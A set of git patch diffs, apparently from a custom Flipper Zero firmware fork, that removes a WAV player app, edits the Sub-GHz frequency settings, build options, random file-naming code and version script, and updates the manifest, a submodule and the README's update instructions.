+0,0 @@ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include "wav_player_hal.h" -#include "wav_parser.h" -#include "wav_player_view.h" - -#define TAG "WavPlayer" - -static bool open_wav_stream(Storage* storage, Stream* stream) { - DialogsApp* dialogs = furi_record_open("dialogs"); - bool result = false; - string_t path; - string_init(path); - string_set_str(path, "/ext/wav_player"); - bool ret = dialog_file_browser_show(dialogs, path, path, ".wav", true, &I_music_10px, false); - - furi_record_close("dialogs"); - if(ret) { - if(!file_stream_open(stream, string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) { - FURI_LOG_E(TAG, "Cannot open file \"%s\"", string_get_cstr(path)); - } else { - result = true; - } - } - string_clear(path); - return result; -} - -typedef enum { - WavPlayerEventHalfTransfer, - WavPlayerEventFullTransfer, - WavPlayerEventCtrlVolUp, - WavPlayerEventCtrlVolDn, - WavPlayerEventCtrlMoveL, - WavPlayerEventCtrlMoveR, - WavPlayerEventCtrlOk, - WavPlayerEventCtrlBack, -} WavPlayerEventType; - -typedef struct { - WavPlayerEventType type; -} WavPlayerEvent; - -static void wav_player_dma_isr(void* ctx) { - osMessageQueueId_t event_queue = ctx; - - // half of transfer - if(LL_DMA_IsActiveFlag_HT1(DMA1)) { - LL_DMA_ClearFlag_HT1(DMA1); - // fill first half of buffer - WavPlayerEvent event = {.type = WavPlayerEventHalfTransfer}; - osMessageQueuePut(event_queue, &event, 0, 0); - } - - // transfer complete - if(LL_DMA_IsActiveFlag_TC1(DMA1)) { - LL_DMA_ClearFlag_TC1(DMA1); - // fill second half of buffer - WavPlayerEvent event = {.type = WavPlayerEventFullTransfer}; - osMessageQueuePut(event_queue, &event, 0, 0); - } -} - -typedef struct { - Storage* storage; - Stream* stream; - WavParser* parser; - uint16_t* sample_buffer; - uint8_t* tmp_buffer; - - size_t samples_count_half; - size_t samples_count; - - osMessageQueueId_t queue; - - float volume; - bool play; - - WavPlayerView* view; - ViewDispatcher* view_dispatcher; - Gui* gui; - NotificationApp* notification; -} WavPlayerApp; - -static WavPlayerApp* app_alloc() { - WavPlayerApp* app = malloc(sizeof(WavPlayerApp)); - app->samples_count_half = 1024 * 4; - app->samples_count = app->samples_count_half * 2; - app->storage = furi_record_open("storage"); - app->stream = file_stream_alloc(app->storage); - app->parser = wav_parser_alloc(); - app->sample_buffer = malloc(sizeof(uint16_t) * app->samples_count); - app->tmp_buffer = malloc(sizeof(uint8_t) * app->samples_count); - app->queue = osMessageQueueNew(10, sizeof(WavPlayerEvent), NULL); - - app->volume = 10.0f; - app->play = true; - - app->gui = furi_record_open("gui"); - app->view_dispatcher = view_dispatcher_alloc(); - app->view = wav_player_view_alloc(); - - view_dispatcher_add_view(app->view_dispatcher, 0, wav_player_view_get_view(app->view)); - view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); - view_dispatcher_switch_to_view(app->view_dispatcher, 0); - - app->notification = furi_record_open("notification"); - notification_message(app->notification, &sequence_display_backlight_enforce_on); - - return app; -} - -static void app_free(WavPlayerApp* app) { - view_dispatcher_remove_view(app->view_dispatcher, 0); - view_dispatcher_free(app->view_dispatcher); - wav_player_view_free(app->view); - furi_record_close("gui"); - - osMessageQueueDelete(app->queue); - free(app->tmp_buffer); - free(app->sample_buffer); - wav_parser_free(app->parser); - stream_free(app->stream); - furi_record_close("storage"); - - notification_message(app->notification, &sequence_display_backlight_enforce_auto); - furi_record_close("notification"); - free(app); -} - -// TODO: that works only with 8-bit 2ch audio -static bool fill_data(WavPlayerApp* app, size_t index) { - uint16_t* sample_buffer_start = &app->sample_buffer[index]; - size_t count = stream_read(app->stream, app->tmp_buffer, app->samples_count); - - for(size_t i = count; i < app->samples_count; i++) { - app->tmp_buffer[i] = 0; - } - - for(size_t i = 0; i < app->samples_count; i += 2) { - float data = app->tmp_buffer[i]; - data -= UINT8_MAX / 2; // to signed - data /= UINT8_MAX / 2; // scale -1..1 - - data *= app->volume; // volume - data = tanhf(data); // hyperbolic tangent limiter - - data *= UINT8_MAX / 2; // scale -128..127 - data += UINT8_MAX / 2; // to unsigned - - if(data < 0) { - data = 0; - } - - if(data > 255) { - data = 255; - } - - sample_buffer_start[i / 2] = data; - } - - wav_player_view_set_data(app->view, sample_buffer_start, app->samples_count_half); - - return count != app->samples_count; -} - -static void ctrl_callback(WavPlayerCtrl ctrl, void* ctx) { - osMessageQueueId_t event_queue = ctx; - WavPlayerEvent event; - - switch(ctrl) { - case WavPlayerCtrlVolUp: - event.type = WavPlayerEventCtrlVolUp; - osMessageQueuePut(event_queue, &event, 0, 0); - break; - case WavPlayerCtrlVolDn: - event.type = WavPlayerEventCtrlVolDn; - osMessageQueuePut(event_queue, &event, 0, 0); - break; - case WavPlayerCtrlMoveL: - event.type = WavPlayerEventCtrlMoveL; - osMessageQueuePut(event_queue, &event, 0, 0); - break; - case WavPlayerCtrlMoveR: - event.type = WavPlayerEventCtrlMoveR; - osMessageQueuePut(event_queue, &event, 0, 0); - break; - case WavPlayerCtrlOk: - event.type = WavPlayerEventCtrlOk; - osMessageQueuePut(event_queue, &event, 0, 0); - break; - case WavPlayerCtrlBack: - event.type = WavPlayerEventCtrlBack; - osMessageQueuePut(event_queue, &event, 0, 0); - break; - default: - break; - } -} - -static void app_run(WavPlayerApp* app) { - if(!open_wav_stream(app->storage, app->stream)) return; - if(!wav_parser_parse(app->parser, app->stream)) return; - - wav_player_view_set_volume(app->view, app->volume); - wav_player_view_set_start(app->view, wav_parser_get_data_start(app->parser)); - wav_player_view_set_current(app->view, stream_tell(app->stream)); - wav_player_view_set_end(app->view, wav_parser_get_data_end(app->parser)); - wav_player_view_set_play(app->view, app->play); - - wav_player_view_set_context(app->view, app->queue); - wav_player_view_set_ctrl_callback(app->view, ctrl_callback); - - bool eof = fill_data(app, 0); - eof = fill_data(app, app->samples_count_half); - - wav_player_speaker_init(); - wav_player_dma_init((uint32_t)app->sample_buffer, app->samples_count); - - furi_hal_interrupt_set_isr(FuriHalInterruptIdDma1Ch1, wav_player_dma_isr, app->queue); - - wav_player_dma_start(); - wav_player_speaker_start(); - - WavPlayerEvent event; - - while(1) { - if(osMessageQueueGet(app->queue, &event, NULL, osWaitForever) == osOK) { - if(event.type == WavPlayerEventHalfTransfer) { - eof = fill_data(app, 0); - wav_player_view_set_current(app->view, stream_tell(app->stream)); - if(eof) { - stream_seek( - app->stream, - wav_parser_get_data_start(app->parser), - StreamOffsetFromStart); - } - - } else if(event.type == WavPlayerEventFullTransfer) { - eof = fill_data(app, app->samples_count_half); - wav_player_view_set_current(app->view, stream_tell(app->stream)); - if(eof) { - stream_seek( - app->stream, - wav_parser_get_data_start(app->parser), - StreamOffsetFromStart); - } - } else if(event.type == WavPlayerEventCtrlVolUp) { - if(app->volume < 9.9) app->volume += 0.2; - wav_player_view_set_volume(app->view, app->volume); - } else if(event.type == WavPlayerEventCtrlVolDn) { - if(app->volume > 0.01) app->volume -= 0.2; - wav_player_view_set_volume(app->view, app->volume); - } else if(event.type == WavPlayerEventCtrlMoveL) { - int32_t seek = stream_tell(app->stream) - wav_parser_get_data_start(app->parser); - seek = MIN(seek, wav_parser_get_data_len(app->parser) / 100); - stream_seek(app->stream, -seek, StreamOffsetFromCurrent); - wav_player_view_set_current(app->view, stream_tell(app->stream)); - } else if(event.type == WavPlayerEventCtrlMoveR) { - int32_t seek = wav_parser_get_data_end(app->parser) - stream_tell(app->stream); - seek = MIN(seek, wav_parser_get_data_len(app->parser) / 100); - stream_seek(app->stream, seek, StreamOffsetFromCurrent); - wav_player_view_set_current(app->view, stream_tell(app->stream)); - } else if(event.type == WavPlayerEventCtrlOk) { - app->play = !app->play; - wav_player_view_set_play(app->view, app->play); - - if(!app->play) { - wav_player_speaker_stop(); - } else { - wav_player_speaker_start(); - } - } else if(event.type == WavPlayerEventCtrlBack) { - break; - } - } - } - - wav_player_speaker_stop(); - wav_player_dma_stop(); - - furi_hal_interrupt_set_isr(FuriHalInterruptIdDma1Ch1, NULL, NULL); -} - -int32_t wav_player_app(void* p) { - WavPlayerApp* app = app_alloc(); - app_run(app); - app_free(app); - return 0; -} diff --git a/applications/wav_player/wav_player_hal.c b/applications/wav_player/wav_player_hal.c deleted file mode 100644 index ad0c019be..000000000 --- a/applications/wav_player/wav_player_hal.c +++ /dev/null @@ -1,58 +0,0 @@ -#include "wav_player_hal.h" -#include -#include - -#define FURI_HAL_SPEAKER_TIMER TIM16 -#define FURI_HAL_SPEAKER_CHANNEL LL_TIM_CHANNEL_CH1 -#define DMA_INSTANCE DMA1, LL_DMA_CHANNEL_1 - -void wav_player_speaker_init() { - LL_TIM_InitTypeDef TIM_InitStruct = {0}; - TIM_InitStruct.Prescaler = 4; - TIM_InitStruct.Autoreload = 255; - LL_TIM_Init(FURI_HAL_SPEAKER_TIMER, &TIM_InitStruct); - - LL_TIM_OC_InitTypeDef TIM_OC_InitStruct = {0}; - TIM_OC_InitStruct.OCMode = LL_TIM_OCMODE_PWM1; - TIM_OC_InitStruct.OCState = LL_TIM_OCSTATE_ENABLE; - TIM_OC_InitStruct.CompareValue = 127; - LL_TIM_OC_Init(FURI_HAL_SPEAKER_TIMER, FURI_HAL_SPEAKER_CHANNEL, &TIM_OC_InitStruct); -} - -void wav_player_speaker_start() { - LL_TIM_EnableAllOutputs(FURI_HAL_SPEAKER_TIMER); - LL_TIM_EnableCounter(FURI_HAL_SPEAKER_TIMER); -} - -void wav_player_speaker_stop() { - LL_TIM_DisableAllOutputs(FURI_HAL_SPEAKER_TIMER); - LL_TIM_DisableCounter(FURI_HAL_SPEAKER_TIMER); -} - -void wav_player_dma_init(uint32_t address, size_t size) { - uint32_t dma_dst = (uint32_t) & (FURI_HAL_SPEAKER_TIMER->CCR1); - - LL_DMA_ConfigAddresses(DMA_INSTANCE, address, dma_dst, LL_DMA_DIRECTION_MEMORY_TO_PERIPH); - LL_DMA_SetDataLength(DMA_INSTANCE, size); - - LL_DMA_SetPeriphRequest(DMA_INSTANCE, LL_DMAMUX_REQ_TIM16_UP); - LL_DMA_SetDataTransferDirection(DMA_INSTANCE, LL_DMA_DIRECTION_MEMORY_TO_PERIPH); - LL_DMA_SetChannelPriorityLevel(DMA_INSTANCE, LL_DMA_PRIORITY_VERYHIGH); - LL_DMA_SetMode(DMA_INSTANCE, LL_DMA_MODE_CIRCULAR); - LL_DMA_SetPeriphIncMode(DMA_INSTANCE, LL_DMA_PERIPH_NOINCREMENT); - LL_DMA_SetMemoryIncMode(DMA_INSTANCE, LL_DMA_MEMORY_INCREMENT); - LL_DMA_SetPeriphSize(DMA_INSTANCE, LL_DMA_PDATAALIGN_HALFWORD); - LL_DMA_SetMemorySize(DMA_INSTANCE, LL_DMA_MDATAALIGN_HALFWORD); - - LL_DMA_EnableIT_TC(DMA_INSTANCE); - LL_DMA_EnableIT_HT(DMA_INSTANCE); -} - -void wav_player_dma_start() { - LL_DMA_EnableChannel(DMA_INSTANCE); - LL_TIM_EnableDMAReq_UPDATE(FURI_HAL_SPEAKER_TIMER); -} - -void wav_player_dma_stop() { - LL_DMA_DisableChannel(DMA_INSTANCE); -} \ No newline at end of file diff --git a/applications/wav_player/wav_player_hal.h b/applications/wav_player/wav_player_hal.h deleted file mode 100644 index 124f51406..000000000 --- a/applications/wav_player/wav_player_hal.h +++ /dev/null @@ -1,23 +0,0 @@ -#pragma once -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -void wav_player_speaker_init(); - -void wav_player_speaker_start(); - -void wav_player_speaker_stop(); - -void wav_player_dma_init(uint32_t address, size_t size); - -void wav_player_dma_start(); - -void wav_player_dma_stop(); - -#ifdef __cplusplus -} -#endif \ No newline at end of file diff --git a/applications/wav_player/wav_player_view.c b/applications/wav_player/wav_player_view.c deleted file mode 100644 index 8068bf351..000000000 --- a/applications/wav_player/wav_player_view.c +++ /dev/null @@ -1,214 +0,0 @@ -#include "wav_player_view.h" - -#define DATA_COUNT 116 - -struct WavPlayerView { - View* view; - WavPlayerCtrlCallback callback; - void* context; -}; - -typedef struct { - bool play; - float volume; - size_t start; - size_t end; - size_t current; - uint8_t data[DATA_COUNT]; -} WavPlayerViewModel; - -float map(float x, float in_min, float in_max, float out_min, float out_max) { - return (x - in_min) * (out_max - out_min + 1) / (in_max - in_min + 1) + out_min; -} - -static void wav_player_view_draw_callback(Canvas* canvas, void* _model) { - WavPlayerViewModel* model = _model; - - canvas_clear(canvas); - canvas_set_color(canvas, ColorBlack); - uint8_t x_pos = 0; - uint8_t y_pos = 0; - - // volume - x_pos = 124; - y_pos = 0; - const float volume = (64 / 10.0f) * model->volume; - canvas_draw_frame(canvas, x_pos, y_pos, 4, 64); - canvas_draw_box(canvas, x_pos, y_pos + (64 - volume), 4, volume); - - // play / pause - x_pos = 58; - y_pos = 55; - if(model->play) { - canvas_draw_line(canvas, x_pos, y_pos, x_pos + 8, y_pos + 4); - canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos + 8, y_pos + 4); - canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos, y_pos); - } else { - canvas_draw_box(canvas, x_pos, y_pos, 3, 9); - canvas_draw_box(canvas, x_pos + 4, y_pos, 3, 9); - } - - x_pos = 78; - y_pos = 55; - canvas_draw_line(canvas, x_pos, y_pos, x_pos + 4, y_pos + 4); - canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos + 4, y_pos + 4); - canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos, y_pos); - - x_pos = 82; - y_pos = 55; - canvas_draw_line(canvas, x_pos, y_pos, x_pos + 4, y_pos + 4); - canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos + 4, y_pos + 4); - canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos, y_pos); - - x_pos = 40; - y_pos = 55; - canvas_draw_line(canvas, x_pos, y_pos, x_pos - 4, y_pos + 4); - canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos - 4, y_pos + 4); - canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos, y_pos); - - x_pos = 44; - y_pos = 55; - canvas_draw_line(canvas, x_pos, y_pos, x_pos - 4, y_pos + 4); - canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos - 4, y_pos + 4); - canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos, y_pos); - - // len - x_pos = 4; - y_pos = 47; - const uint8_t play_len = 116; - uint8_t play_pos = map(model->current, model->start, model->end, 0, play_len - 4); - - canvas_draw_frame(canvas, x_pos, y_pos, play_len, 4); - canvas_draw_box(canvas, x_pos + play_pos, y_pos - 2, 4, 8); - canvas_draw_box(canvas, x_pos, y_pos, play_pos, 4); - - // osc - x_pos = 4; - y_pos = 0; - for(size_t i = 1; i < DATA_COUNT; i++) { - canvas_draw_line(canvas, x_pos + i - 1, model->data[i - 1], x_pos + i, model->data[i]); - } -} - -static bool wav_player_view_input_callback(InputEvent* event, void* context) { - WavPlayerView* wav_player_view = context; - bool consumed = false; - - if(wav_player_view->callback) { - if(event->type == InputTypeShort || event->type == InputTypeRepeat) { - if(event->key == InputKeyUp) { - wav_player_view->callback(WavPlayerCtrlVolUp, wav_player_view->context); - consumed = true; - } else if(event->key == InputKeyDown) { - wav_player_view->callback(WavPlayerCtrlVolDn, wav_player_view->context); - consumed = true; - } else if(event->key == InputKeyLeft) { - wav_player_view->callback(WavPlayerCtrlMoveL, wav_player_view->context); - consumed = true; - } else if(event->key == InputKeyRight) { - wav_player_view->callback(WavPlayerCtrlMoveR, wav_player_view->context); - consumed = true; - } else if(event->key == InputKeyOk) { - wav_player_view->callback(WavPlayerCtrlOk, wav_player_view->context); - consumed = true; - } else if(event->key == InputKeyBack) { - wav_player_view->callback(WavPlayerCtrlBack, wav_player_view->context); - consumed = true; - } - } - } - - return consumed; -} - -WavPlayerView* wav_player_view_alloc() { - WavPlayerView* wav_view = malloc(sizeof(WavPlayerView)); - wav_view->view = view_alloc(); - view_set_context(wav_view->view, wav_view); - view_allocate_model(wav_view->view, ViewModelTypeLocking, sizeof(WavPlayerViewModel)); - view_set_draw_callback(wav_view->view, wav_player_view_draw_callback); - view_set_input_callback(wav_view->view, wav_player_view_input_callback); - - return wav_view; -} - -void wav_player_view_free(WavPlayerView* wav_view) { - furi_assert(wav_view); - view_free(wav_view->view); - free(wav_view); -} - -View* wav_player_view_get_view(WavPlayerView* wav_view) { - furi_assert(wav_view); - return wav_view->view; -} - -void wav_player_view_set_volume(WavPlayerView* wav_view, float volume) { - furi_assert(wav_view); - with_view_model( - wav_view->view, (WavPlayerViewModel * model) { - model->volume = volume; - return true; - }); -} - -void wav_player_view_set_start(WavPlayerView* wav_view, size_t start) { - furi_assert(wav_view); - with_view_model( - wav_view->view, (WavPlayerViewModel * model) { - model->start = start; - return true; - }); -} - -void wav_player_view_set_end(WavPlayerView* wav_view, size_t end) { - furi_assert(wav_view); - with_view_model( - wav_view->view, (WavPlayerViewModel * model) { - model->end = end; - return true; - }); -} - -void wav_player_view_set_current(WavPlayerView* wav_view, size_t current) { - furi_assert(wav_view); - with_view_model( - wav_view->view, (WavPlayerViewModel * model) { - model->current = current; - return true; - }); -} - -void wav_player_view_set_play(WavPlayerView* wav_view, bool play) { - furi_assert(wav_view); - with_view_model( - wav_view->view, (WavPlayerViewModel * model) { - model->play = play; - return true; - }); -} - -void wav_player_view_set_data(WavPlayerView* wav_view, uint16_t* data, size_t data_count) { - furi_assert(wav_view); - with_view_model( - wav_view->view, (WavPlayerViewModel * model) { - size_t inc = (data_count / DATA_COUNT) - 1; - - for(size_t i = 0; i < DATA_COUNT; i++) { - model->data[i] = *data / 6; - if(model->data[i] > 42) model->data[i] = 42; - data += inc; - } - return true; - }); -} - -void wav_player_view_set_ctrl_callback(WavPlayerView* wav_view, WavPlayerCtrlCallback callback) { - furi_assert(wav_view); - wav_view->callback = callback; -} - -void wav_player_view_set_context(WavPlayerView* wav_view, void* context) { - furi_assert(wav_view); - wav_view->context = context; -} \ No newline at end of file diff --git a/applications/wav_player/wav_player_view.h b/applications/wav_player/wav_player_view.h deleted file mode 100644 index 246aeaf3e..000000000 --- a/applications/wav_player/wav_player_view.h +++ /dev/null @@ -1,45 +0,0 @@ -#pragma once -#include - -#ifdef __cplusplus -extern "C" { -#endif - -typedef struct WavPlayerView WavPlayerView; - -typedef enum { - WavPlayerCtrlVolUp, - WavPlayerCtrlVolDn, - WavPlayerCtrlMoveL, - WavPlayerCtrlMoveR, - WavPlayerCtrlOk, - WavPlayerCtrlBack, -} WavPlayerCtrl; - -typedef void (*WavPlayerCtrlCallback)(WavPlayerCtrl ctrl, void* context); - -WavPlayerView* wav_player_view_alloc(); - -void wav_player_view_free(WavPlayerView* wav_view); - -View* wav_player_view_get_view(WavPlayerView* wav_view); - -void wav_player_view_set_volume(WavPlayerView* wav_view, float volume); - -void wav_player_view_set_start(WavPlayerView* wav_view, size_t start); - -void wav_player_view_set_end(WavPlayerView* wav_view, size_t end); - -void wav_player_view_set_current(WavPlayerView* wav_view, size_t current); - -void wav_player_view_set_play(WavPlayerView* wav_view, bool play); - -void wav_player_view_set_data(WavPlayerView* wav_view, uint16_t* data, size_t data_count); - -void wav_player_view_set_ctrl_callback(WavPlayerView* wav_view, WavPlayerCtrlCallback callback); - -void wav_player_view_set_context(WavPlayerView* wav_view, void* context); - -#ifdef __cplusplus -} -#endif \ No newline at end of file diff --git a/assets/resources/subghz/assets/setting_user b/assets/resources/subghz/assets/setting_user index 1c7289821..61a131632 100644 --- a/assets/resources/subghz/assets/setting_user +++ b/assets/resources/subghz/assets/setting_user @@ -1,53 +1,29 @@ Filetype: Flipper SubGhz Setting File Version: 1 -# Add Standard frequencies for your region +# Add All Standard frequencies #add_standard_frequencies: true # Default Frequency: used as default for "Read" and "Read Raw" #default_frequency: 433920000 -# Frequencies used for "Read", "Read Raw" and "Frequency Analyzer" -frequency: 300000000 +# Frequencies used for "Read", "Read Raw" and "Frequency Analyzer" + default ones if enabled in add_standard_frequencies frequency: 302757000 -frequency: 303875000 -frequency: 304250000 -frequency: 310000000 frequency: 312000000 frequency: 312100000 frequency: 313850000 frequency: 314000000 frequency: 314350000 -frequency: 315000000 -frequency: 318000000 frequency: 345000000 frequency: 348000000 frequency: 387000000 -frequency: 390000000 -frequency: 418000000 -frequency: 433075000 frequency: 433220000 -frequency: 433420000 frequency: 433889000 -frequency: 433920000 -frequency: 434420000 -frequency: 434775000 -frequency: 438900000 frequency: 464000000 frequency: 779000000 -frequency: 868350000 -frequency: 915000000 -frequency: 925000000 frequency: 928000000 -# Frequencies used for hopping mode (keep this list small or flipper will miss signal) -hopper_frequency: 300000000 +# Frequencies used for hopping mode (keep this list small or flipper will miss signal) + default ones if enabled in add_standard_frequencies +#hopper_frequency: 300000000 hopper_frequency: 345000000 -#hopper_frequency: 310000000 -#hopper_frequency: 312000000 -#hopper_frequency: 314000000 -#hopper_frequency: 315000000 -#hopper_frequency: 318000000 -#hopper_frequency: 390000000 -#hopper_frequency: 433920000 -#hopper_frequency: 868350000 \ No newline at end of file +hopper_frequency: 434420000 diff --git a/fbt_options.py b/fbt_options.py index ddeff0481..7d8bed90e 100644 --- a/fbt_options.py +++ b/fbt_options.py @@ -54,12 +54,16 @@ FIRMWARE_APPS = { "basic_apps", "updater_app", "archive", + # Custom Apps + "custom_apps", # Settings "passport", "system_settings", "about", # Plugins "basic_plugins", + # Custom Games + "custom_games", # Debug "debug_apps", ), diff --git a/lib/subghz/protocols/came_atomo.c b/lib/subghz/protocols/came_atomo.c index d9c5c9abf..6fe79de62 100644 --- a/lib/subghz/protocols/came_atomo.c +++ b/lib/subghz/protocols/came_atomo.c @@ -277,6 +277,7 @@ LevelDuration subghz_protocol_encoder_came_atomo_yield(void* context) { } void* subghz_protocol_decoder_came_atomo_alloc(SubGhzEnvironment* environment) { + UNUSED(environment); SubGhzProtocolDecoderCameAtomo* instance = malloc(sizeof(SubGhzProtocolDecoderCameAtomo)); instance->base.protocol = &subghz_protocol_came_atomo; instance->generic.protocol_name = instance->base.protocol->name; diff --git a/lib/toolbox/random_name.c b/lib/toolbox/random_name.c index 0f50913b2..7709e53bf 100644 --- a/lib/toolbox/random_name.c +++ b/lib/toolbox/random_name.c @@ -3,20 +3,41 @@ #include #include #include -#include void set_random_name(char* name, uint8_t max_name_size) { - FuriHalRtcDateTime datetime; - furi_hal_rtc_get_datetime(&datetime); - char strings[1][25]; - sprintf( - strings[0], - "%s%.4d%.2d%.2d%.2d%.2d", - "s", - datetime.year, - datetime.month, - datetime.day, - datetime.hour, - datetime.minute); - sniprintf(name, max_name_size, "%s", strings[0]); -} + static bool rand_generator_inited = false; + + if(!rand_generator_inited) { + srand(DWT->CYCCNT); + rand_generator_inited = true; + } + const char* prefix[] = { + "super", + "big", + "little", + "liquid", + "unknown", + "thin", + "thick", + "great", + "my", + }; + + const char* suffix[] = { + "maslina", + "sus", + "anomalija", + "artefact", + "monolit", + "burer", + "sidorovich", + "habar", + }; + // sus is not (sus)pect - this is about super sus + uint8_t prefix_i = rand() % COUNT_OF(prefix); + uint8_t suffix_i = rand() % COUNT_OF(suffix); + + sniprintf(name, max_name_size, "%s_%s", prefix[prefix_i], suffix[suffix_i]); + // Set first symbol to upper case + name[0] = name[0] - 0x20; +} \ No newline at end of file diff --git a/lib/toolbox/random_name.h b/lib/toolbox/random_name.h index 358ea685d..f0e872ac0 100644 --- a/lib/toolbox/random_name.h +++ b/lib/toolbox/random_name.h @@ -14,4 +14,4 @@ void set_random_name(char* name, uint8_t max_name_size); #ifdef __cplusplus } -#endif +#endif \ No newline at end of file diff --git a/scripts/version.py b/scripts/version.py index 87bf7ed88..c40aad789 100644 --- a/scripts/version.py +++ b/scripts/version.py @@ -32,10 +32,10 @@ class GitVersion: branch_num = self._exec_git("rev-list --count HEAD") or "n/a" - try: - version = self._exec_git("describe --tags --abbrev=0 --exact-match") - except subprocess.CalledProcessError: - version = "unknown" + version = ( + os.environ.get("DIST_SUFFIX", None) + or "unknown" + ) return { "GIT_COMMIT": commit, diff --git a/site_scons/fbt/appmanifest.py b/site_scons/fbt/appmanifest.py index 218b139f3..2272a154e 100644 --- a/site_scons/fbt/appmanifest.py +++ b/site_scons/fbt/appmanifest.py @@ -19,6 +19,7 @@ class FlipperAppType(Enum): STARTUP = "StartupHook" EXTERNAL = "External" METAPACKAGE = "Package" + GAME = "Game" @dataclass @@ -98,6 +99,7 @@ class AppBuildset: FlipperAppType.ARCHIVE, FlipperAppType.SETTINGS, FlipperAppType.STARTUP, + FlipperAppType.GAME, ) def __init__(self, appmgr: AppManager, appnames: List[str]): @@ -190,6 +192,7 @@ class ApplicationsCGenerator: FlipperAppType.SYSTEM: ("FlipperApplication", "FLIPPER_SYSTEM_APPS"), FlipperAppType.APP: ("FlipperApplication", "FLIPPER_APPS"), FlipperAppType.PLUGIN: ("FlipperApplication", "FLIPPER_PLUGINS"), + FlipperAppType.GAME: ("FlipperApplication", "FLIPPER_GAMES"), FlipperAppType.DEBUG: ("FlipperApplication", "FLIPPER_DEBUG_APPS"), FlipperAppType.SETTINGS: ("FlipperApplication", "FLIPPER_SETTINGS_APPS"), FlipperAppType.STARTUP: ("FlipperOnStartHook", "FLIPPER_ON_SYSTEM_START"), From 5a3689a665d0e9f14169ca532b42ab6b8c794e06 Mon Sep 17 00:00:00 2001 From: Eng1n33r <10697207+xMasterX@users.noreply.github.com> Date: Sun, 26 Jun 2022 21:01:43 +0300 Subject: [PATCH 344/461] update manifest --- assets/resources/Manifest | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/assets/resources/Manifest b/assets/resources/Manifest index bed866b2d..34ee69ac0 100644 --- a/assets/resources/Manifest +++ b/assets/resources/Manifest @@ -1,5 +1,5 @@ V:0 -T:1656142725 +T:1656266480 D:badusb D:dolphin D:infrared @@ -235,7 +235,7 @@ F:dda1ef895b8a25fde57c874feaaef997:650:subghz/assets/came_atomo F:610a0ffa2479a874f2060eb2348104c5:2712:subghz/assets/keeloq_mfcodes F:9214f9c10463b746a27e82ce0b96e040:465:subghz/assets/keeloq_mfcodes_user F:653bd8d349055a41e1152e557d4a52d3:202:subghz/assets/nice_flor_s -F:48162bfe6129719db13c71f98852db4a:1313:subghz/assets/setting_user +F:48c763d616f95e319388e62e0d7cc49f:850:subghz/assets/setting_user F:9a50dd284146dfbd8050a2ade62174d9:266:subghz/assets/universal_rf_map D:u2f/assets F:7e11e688e39034bbb9d88410044795e1:365:u2f/assets/cert.der From f2c5aafb0c84bdb27e53bedbd3d0490b812dfb89 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sun, 26 Jun 2022 21:28:08 +0300 Subject: [PATCH 345/461] Update nanopb --- lib/nanopb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/nanopb b/lib/nanopb index c9124132a..afc499f9a 160000 --- a/lib/nanopb +++ b/lib/nanopb @@ -1 +1 @@ -Subproject commit c9124132a604047d0ef97a09c0e99cd9bed2c818 +Subproject commit afc499f9a410fc9bbf6c9c48cdd8d8b199d49eb4 From 1108e51fc7839fa5e7b5679628049681608c7b28 Mon Sep 17 00:00:00 2001 From: Eng1n33r <10697207+xMasterX@users.noreply.github.com> Date: Sun, 26 Jun 2022 21:46:17 +0300 Subject: [PATCH 346/461] upd readme --- .drone.yml | 2 +- ReadMe.md | 19 +++++++++---------- 2 files changed, 10 insertions(+), 11 deletions(-) diff --git a/.drone.yml b/.drone.yml index 8347d8380..221c2c78e 100644 --- a/.drone.yml +++ b/.drone.yml @@ -7,7 +7,7 @@ steps: image: alpine/git commands: - git submodule sync - - git -c protocol.version=2 submodule update --init --force + - git -c protocol.version=2 submodule update --init --force --recursive - git submodule foreach git config --local gc.auto 0 - git log -1 --format='%H' diff --git a/ReadMe.md b/ReadMe.md index a2f7a5f9d..839ca349f 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -43,15 +43,8 @@ Our Discord Community: - You should find folder named `f7-update-(CURRENT VERSION)` that contains files like `update.fuf`, `resources.tar` and etc.. - Remove microSD card from flipper and insert it into PC or smartphone (you can skip this step and upload all files using qFlipper) - Create new folder `update` on the root of the microSD card and move folder that you previously extracted from archive - `f7-update-(CURRENT VERSION)` into `update` on microSD card -- So result should look like `update/f7-update-(CURRENT VERSION)/` with all files in this folder on microSD card, remember iOS default Files app doesnt show all files properly (3 instead of 5), so you need to use another app for unpacking or use PC or Android -- Verify that all files are present on your microSD card: - * `update/f7-update-(CURRENT VERSION)/flipper-z-f7-full-(CURRENT VERSION).dfu` - * `update/f7-update-(CURRENT VERSION)/flipper-z-f7-updater-(CURRENT VERSION).bin` - * `update/f7-update-(CURRENT VERSION)/resources.tar` - * `update/f7-update-(CURRENT VERSION)/stm32wb5x_BLE_Stack_light_fw.bin` - * `update/f7-update-(CURRENT VERSION)/update.fuf` - - +- So result should look like `update/f7-update-(CURRENT VERSION)/` with all files in this folder on microSD card, remember iOS default Files app doesnt show all files properly (3 instead of 6), so you need to use another app for unpacking or use PC or Android +- Verify that all files are present on your microSD card - After all you need to insert microSD card back into flipper, navigate into filebrowser, open this file `update/f7-update-(CURRENT VERSION)/update.fuf` - Update will start, wait for all stages, and when flipper started after update, you can upload any custom [IR libs](https://github.com/logickworkshop/Flipper-IRDB), and other stuff using qFlipper or directly into microSD card @@ -99,12 +92,18 @@ then select **`flipper-z-f7-full-(CURRENT VERSION).dfu`**

